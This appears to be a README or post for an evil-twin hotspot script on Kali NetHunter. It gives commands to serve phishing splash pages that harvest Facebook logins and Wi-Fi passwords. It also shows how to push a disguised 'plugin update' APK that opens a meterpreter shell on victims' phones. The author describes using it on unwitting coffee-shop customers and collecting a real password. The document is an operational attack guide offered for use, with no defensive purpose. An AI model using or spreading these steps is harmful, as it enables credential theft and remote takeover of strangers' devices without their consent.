NB: I made this basic script and tested it on Kali Nethunter.
You don't need a second wireless interface or monitor mode. wlan0 is enough.
Open a terminal in kali nethunter and type:
chmod +x hsp.sh && ./hsp.sh
Open a second terminal and type:
ifconfig (check your ip, usually 192.168.43.1)
cd /var/www/html/facebook/ && php -S 192.168.43.1:8080
As soon as you connect to the fake hotspot, a splash screen opens automatically asking for facebook credentials.
Create an android payload (update.apk).
Put the update.apk file in "backdoor" folder after you unzip it.
Open a terminal and type:
cd /var/www/html/backdoor/ && php -S 192.168.43.1:8080
Open a second terminal and type ./hsp.sh
When the victim connects to the fake hotspot, he will get a splash screen asking him to download a necessary plugin update (update.apk)
If he installs the apk, you'll get a meterpreter shell.
In this scenario, you can name your hotspot the same name as any wifi network around you, and if the victim connects to it by mistake, he's greeted with a pop up login box that asks for the wifi password.
I tried this in a coffee shop and it worked great. Some customers knew the wifi password of the coffee shop but I didn't know it, and one of the customers fell for the trick and gave me the password without knowing it.
ALL SCENARIOS WORK PERFECTLY USING MY NEXUS 5 KALI NETHUNTER.
You can access the logged credentials in the browser. Just type:
http://192.168.43.1:8080/logger.html